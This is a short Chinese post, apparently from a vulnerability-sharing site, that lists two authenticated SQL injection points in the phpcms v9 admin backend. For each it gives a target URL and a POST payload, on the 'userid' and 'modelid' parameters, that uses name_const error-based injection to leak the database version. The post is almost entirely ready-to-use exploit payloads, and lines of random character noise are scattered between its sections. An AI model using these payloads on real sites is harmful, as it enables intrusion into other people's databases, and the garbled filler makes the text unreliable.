phpcms两处后台的SQL注入

admin

(一)：
& [6 x* p3 ?+ p( O9 k

http://www.0day5.com/phpcmsv9/index.php?m=member&c=member&a=delete&pc_hash=GlyB7G&id

post

userid=(select * from (select * from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

2 I& G# X  z2 Y4 c! Q. h
* v+ x; {6 p( b, \+ o
+ a& }9 M% b7 n7 D; W

(二)：

http://www.0day5.com/phpcmsv9/index.php?m=member&c=member_model&a=delete&pc_hash=GlyB7G

post

modelid=(select * from (select * from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)